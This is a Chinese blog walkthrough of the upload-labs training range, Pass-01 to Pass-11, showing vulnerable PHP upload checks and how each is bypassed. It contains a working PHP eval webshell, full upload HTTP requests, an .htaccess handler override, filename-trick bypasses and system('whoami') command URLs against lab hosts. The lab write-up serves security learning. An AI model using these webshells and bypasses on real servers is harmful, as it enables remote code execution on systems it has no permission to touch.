upload-labs 靶场通关笔记

news/2024/10/16 2:15:26

靶场搭建

Windows

下载作者提供的PHPStudy整合版,避免bug

https://github.com/c0ny1/upload-labs/releases

Linux

有一些关卡在用Linux的靶场

docker run -d -p 80:80 cuer/upload-labs

Pass-01

源码审计

<script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
</script>

只有在js代码中进行校验,提交到后端的PHP代码处理没有任何的过滤(前端校验等于没有校验)

攻击

前端js验证

  1. 直接上传图片通过前端,抓包,修改后直接发送请求包
POST http://192.168.1.17/Pass-01/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719
Content-Length: 378
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-01/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png<?php @eval($_REQUEST['shell']);?> -----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="submit"上传
-----------------------------225474232222570505221243396719--
  1. 修改前端,禁用checkfile()函数,即可上传成功

浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');执行命令返回

知识点

前端验证都是纸老虎

Pass-02

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

源码审计,通过检测报文发送数据中的Content-Type 的值来对文件的类型进行过滤,只需要发送报文的时候将Content-Type值改为image/png,实际仍是.php,即可绕过,形同虚设

攻击

POST http://192.168.1.17/Pass-02/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389
Content-Length: 375
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png<?php @eval($_REQUEST['shell']);?> -----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="submit"上传
-----------------------------42773365403714671171577664389--

服务端对Content-Type进行字段验证

浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');执行命令返回

知识点

服务端对Content-Type字段的验证,修改字段上传绕过

Pass-03

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

审计源码,发现其只过滤了 '.asp','.aspx','.php','.jsp' 这些文件后缀,构造其他后缀的文件如.phtml、.php5即可

攻击

通过上传.php5、.phtml等其他后缀绕过限制

ps:用Github靶场的Release环境,就可以解析了,自己配太折腾了

知识点

多后缀解析php文件可上传绕过

Pass-04

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

相比于Pass-03,增加了许多黑名单,但是忘记过滤了.htaccess,服务器是Apache可以这样利用

攻击

1、先上传.htaccess后缀文件改变Apache 服务器的配置,将所有的.png文件都已php来解析

AddType application/x-httpd-php .png

或者

<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>

选择方式一
2、上传后,将1.php改为1.png进行上传,成功解析

验证:访问如下url http://192.168.1.17/upload/1.png?shell=system("id");

知识点

Apache服务器中,可以通过上传.htaccess文件来改变服务器的解析逻辑,需要上传有覆盖的功能

Pass-05

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

相比之前的pass,去除了将输入转换为小写的步骤,因此可以上传.PhP类型的后缀Bypass

攻击

上传木马,文件名为1.PhP即可Bypass

访问http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");有回显

知识点

文件后缀大小写绕过

Pass-06

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

相比之前的pass 缺少了 trim() 函数过滤空格,抓包拦截带空格的后缀,后端识别的后缀名就是php ,实现Bypass

攻击

通过抓包,往文件后缀添加空格,即可绕过

ps:我访问该URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");没回显,中间空格去掉直接404 not found

查阅资料,windows特性,会自动去掉后缀名中最后的空格
对于靶场最好还是Windows搭建,除了一些需要Linux关卡

打到这里我赶紧下载官方环境,再次进行测试,访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");

回显成功

知识点

windows特性,会自动去掉后缀名中最后的空格

Pass-07

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

相比于之前的pass,缺少了deldot()函数,删除文件末尾的.
利用Windows,1.php.会自动重命名为1.php的特性
抓包,修改文件名,实现ByPass

攻击

POST 携带的数据如下

-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="upload_file"; filename="1.php."
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?> 
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="submit"上传
-----------------------------1148941150563825243932695907--

访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami"); 有回显

知识点

利用Windows,1.php.会自动重命名为1.php的特性

Pass-08

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

相比于之前的pass,删除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
对字符串::$DATA并没有进行过滤

通过上传后缀.php::$data进行Bypass,1.php:$DATA文件名与1.php一致

攻击

抓包,修改文件名,报文(POST 数据)如下

-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?> 
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="submit"上传
-----------------------------281663601630465474662581018521--

访问http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");有回显
打开图片的时候把末尾的::$DATA删除就行

知识点

1.php:$DATA文件名与1.php一致

关于::$DATA的解释(GPT

在 Windows 中,使用 1.php::$DATA 来创建文件时,会有以下效果:

  1. 主数据流1.php 是这个文件的主数据流,包含文件的正常内容。比如如果你在这个文件里写入 PHP 代码或其他文本,它就会存储在主数据流中。
  2. ::$DATA 的含义:在 1.php::$DATA 中,::$DATA 实际上是对主数据流的引用。也就是说,它引用的就是 1.php 文件的默认数据流。它没有创建一个新的、独立的数据流,而是直接引用了 1.php 自己的内容。
  3. 不创建额外数据流:如果你尝试直接使用 1.php::$DATA 这样的文件名去创建文件,系统只会把它当作对 1.php 主数据流的引用,而不会在文件系统中创建一个新的数据流。因此,没有实际效果上的变化,它和直接访问 1.php 没有区别。

总结:

  • 不会创建新的文件1.php::$DATA 实际上是引用 1.php 文件的内容。
  • 没有附加数据流:它没有创建或使用附加数据流,而是直接指向 1.php 自身的默认内容。
  • 等同于访问 1.php:当你尝试读取 1.php::$DATA,其效果和直接读取 1.php 是一样的。

换句话说,::$DATA 并不是用于创建新的流,而是表明当前正在访问文件的主数据流。

Pass-09

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

首先看下$file_name = deldot($filename)这行代码, 它的作用是将上传文件最末尾的"."去除掉了, 我们可以利用它这个机制来绕过后缀限制, 例如上传一个文件名为webshell.php. ., 经过deldot函数的处理后文件名为webshell.php.

然后再看下strrchr函数, 该函数的作用是返回的字符串从指定字符的位置开始,包含指定字符。因此,$file_ext变量中保存的是文件的扩展名, 也就是说最终$file_ext的值为.

$deny_ext是一个存有黑名单后缀的数组, 后面代码判断$file_ext是否是黑名单后缀, 由于$file_ext的值为., 并不属于限制后缀, 因此能够上传成功

攻击

利用 trim()、deldot() 等只删除了一次,并没有循环嵌套删除的漏洞

上传文件时抓包,将文件名改为1.php. .即可,POST数据段报文如下

-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?> 
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="submit"上传
-----------------------------374897871012500191664085237289--

访问 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回显

ps:直接用靶场Release仓库的环境就行,省事

知识点

利用Windows写入文件时,1.php. 会直接省略末尾的空后缀. 实现绕过

Pass-10

源码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

trim 去除两端空格
str_ireplace$file_name中的$deny_ext替换成""
由于没有循环过滤,可以双写后缀名绕过

攻击

上传1.pphphp即可绕过

访问 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回显

知识点

未循环过滤,双写后缀绕过

Pass-11

源码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

简述代码逻辑

  1. 定义一个数组,里面有一些常见图片的后缀名
  2. 提取文件名的最后一个.的后面的内容
  3. 判断后缀是否是合法文件名里面的
  4. 如果合法,Get请求获取save_path,拼接写入
    从上述分析可知,通过GET请求来获取save_path参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/1.php%00, 也就是在文件名后面添加截断符号%00 ,这样做的作用是将截断数据, Windows创建文件时会忽略后面 rand(10, 99).date("YmdHis").".".$file_ext这行代码, 这样写入的文件名就变成了../upload/1.php

%00 是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)

攻击

上传1.png文件,抓包拦截,修改Get请求save_path参数传递的值为../upload/1.php%00

访问 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回显

知识点

Windows系统%00文件名截断

Pass-12

··· 待更新

参考链接

全面了解文件上传漏洞, 通关upload-labs靶场!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/72064.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

我在大厂做 CR——为什么建议使用枚举来替换布尔值

使用枚举替换布尔值主要基于以下几个原因 ● 可读性 ● 可拓展性 ● 安全防控可读性我们会定义 boolean 类型(true 或 false)作为方法参数,虽然比较简洁,但有时候参数的含义往往不够清晰,造成阅读上的障碍,比如:参数可能表示“是否开启某个功能”,但仅凭 true 和 false…

拼多多客服助手-自动回复消息插件

自动回复浏览器插件,支持拼多多客服网页版自动回复,解决回复率问题 gofly.v1kf.com十年开发经验程序员,离职全心创业中,历时三年开发出的产品《唯一客服系统》一款基于Golang+Vue开发的在线客服系统,软件著作权编号:2021SR1462600。一套可私有化部署的网站在线客服系统,…

数据结构 - 树,初探

树是分支分层的数据结构,包含根节点、子节点等术语,有深度、高度等属性。二叉树是树的一种,节点最多有两个子节点,有前序、中序、后序和层次遍历方式。树是一种非线性数据结构,是以分支关系定义的层次结构,因此形态上和自然界中的倒挂的树很像,而数据结构中树根向上树叶…

《使用Gin框架构建分布式应用》阅读笔记:p32-p51

《用Gin框架构建分布式应用》学习第3天,p32-p51总结,总计20页。 一、技术总结 1.Go知识点 slice, struct。 2.Gin知识点 (1)c.XML() 使用c.XML()解析cmx结构。 (2)c.ShouldBindJSON() 将struct转成json。 gin所有函数参考:https://pkg.go.dev/github.com/gin-gonic/gin 3.版…

数据采集与融合技术作业一

作业1 作业①【结合flask】 要求:用requests和BeautifulSoup库方法定向爬取给定网址(http://www.shanghairanking.cn/rankings/bcur/2020)的数据,屏幕打印爬取的大学排名信息。 1.1 代码和图片 import re import urllib.request from bs4 import BeautifulSoup from flask …

IDEA中如何让整个项目代码回退

背景:今天项目在做的时候,发现前面的代码部分有问题。但是已经不清楚自己改了哪些部分的代码了,这时候的一个好办法就是使用IDEA中的代码回退到之前的某一时刻。 做法:1、打开项目,如果回退整个项目的代码,右键项目 -> Local History -> show History2、现在可以看…

vue 动态加载路由,渲染左侧菜单栏

需求 我们在route文件中定义的路由是由子路由包裹进去的,它可能是无限级的。如何在vue的模板中渲染形成菜单栏。 如图: 解决方法 将菜单栏单独写成子组件(注意头部标签:element-plus中是el-menu)仍然在父组件中。将配置路由数据传入到子组件。子组件渲染一级路由。 一级路…

IDEA连接数据库后,在使用表的时候有时候未检测到表

我的这个产生的原因:之前做项目的时候检测到category表了,但后来数据库断开后,等再次连接上数据库,可以检测到数据库,但数据库中的表直接用,是检测不到的。 解决方法一:使用数据库中表的时候,可以 [数据库.数据库表],如下图所示,可以看到此时使用表就不爆红了。解决方…